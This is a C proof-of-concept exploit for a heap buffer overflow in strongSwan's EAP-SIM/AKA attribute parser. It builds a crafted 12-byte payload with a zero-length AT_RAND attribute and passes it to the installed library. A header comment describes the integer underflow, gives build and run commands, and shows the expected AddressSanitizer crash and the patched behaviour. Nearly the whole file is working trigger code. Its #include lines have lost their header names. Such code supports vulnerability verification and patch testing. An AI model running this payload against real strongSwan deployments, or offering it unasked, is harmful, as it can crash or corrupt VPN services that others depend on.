/* * CVE-2026-35330 -- strongSwan EAP-SIM/AKA parse_attributes() heap * buffer overflow. Live library exploit. * * This program links against the *installed* strongSwan libraries * (libsimaka.so + libstrongswan.so) and calls the public API: * * simaka_message_create_from_payload(data, NULL); * msg->parse(msg); * * with a crafted EAP-SIM payload whose AT_RAND attribute has * `length == 0`. Execution reaches production code in: * * src/libsimaka/simaka_message.c :: parse_attributes() line 419 * src/libsimaka/simaka_message.c :: add_attribute() * * where `hdr->length * 4 - 4` underflows to (size_t)0xFFFFFFFFFFFFFFFC * and the subsequent `malloc(sizeof(attr_t) + 0xFFFFFFFFFFFFFFFC)` * yields a 12-byte allocation followed by an oversized memcpy -> * SIGSEGV (under ASan: heap-buffer-overflow WRITE). * * Build (against installed strongswan, headers in /usr/include): * gcc -fsanitize=address -g -O0 -I/usr/include poc.c \ * -lsimaka -lstrongswan -o poc * * Run: * ./poc * * Expected ASan signature on a vulnerable strongSwan (<= 5.9.13): * ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address ... * WRITE of size 8 at ... thread T0 * #0 ... in __asan_memcpy * #1 ... in parse_attributes simaka_message.c * #2 ... in parse simaka_message.c * #3 ... in main poc.c * * On a patched strongSwan (master >= aa5aaebc33) the parse() returns * FALSE silently and the program prints "parse() returned FALSE * (patched) -- attribute rejected". */ #include #include #include #include #include #include #include #include /* EAP codes (RFC 3748) */ #define EAP_REQUEST 1 #define EAP_RESPONSE 2 /* EAP types */ #define EAP_TYPE_SIM 18 /* EAP-SIM subtypes (RFC 4186) */ #define SIM_START 10 #define SIM_CHALLENGE 11 /* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */ #define AT_RAND 1 int main(void) { chunk_t data; simaka_message_t *msg; uint8_t payload[12]; /* Init strongSwan library so libsimaka's globals are usable. */ if (!library_init(NULL, "exploit-35330")) { fprintf(stderr, "[!] library_init() failed\n"); library_deinit(); return 1; } /* * EAP-SIM header (8 bytes): * byte 0: code = 2 (EAP_RESPONSE) * byte 1: id = 0x42 * bytes 2-3: length = htons(12) * byte 4: type = 18 (EAP-SIM) * byte 5: subtype = 11 (SIM_CHALLENGE) * bytes 6-7: reserved = 0 */ payload[0] = EAP_RESPONSE; payload[1] = 0x42; payload[2] = 0x00; payload[3] = 12; payload[4] = EAP_TYPE_SIM; payload[5] = SIM_CHALLENGE; payload[6] = 0x00; payload[7] = 0x00; /* * AT_RAND attribute (4 bytes): * byte 8: type = 1 (AT_RAND) * byte 9: length = 0 <-- triggers underflow: * hdr->length * 4 - 4 = -4 -> SIZE_MAX-3 * bytes 10-11: reserved (any value) */ payload[8] = AT_RAND; payload[9] = 0; /* <-- the bug */ payload[10] = 0x00; payload[11] = 0x00; data = chunk_create(payload, sizeof(payload)); printf("[*] payload (%zu bytes): ", data.len); for (size_t i = 0; i < data.len; i++) printf("%02x ", payload[i]); printf("\n[*] EAP-SIM header: code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n"); printf("[*] AT_RAND header: type=1 length=0 <-- triggers underflow\n\n"); msg = simaka_message_create_from_payload(data, NULL); if (!msg) { fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL " "-- header rejected\n"); library_deinit(); return 2; } printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg); printf("[*] calling msg->parse(msg) -- " "expecting heap-buffer-overflow inside parse_attributes()...\n"); fflush(stdout); if (msg->parse(msg)) { printf("[?] parse() returned TRUE -- unexpected\n"); } else { printf("[+] parse() returned FALSE (patched) -- attribute rejected\n"); } msg->destroy(msg); library_deinit(); return 0; }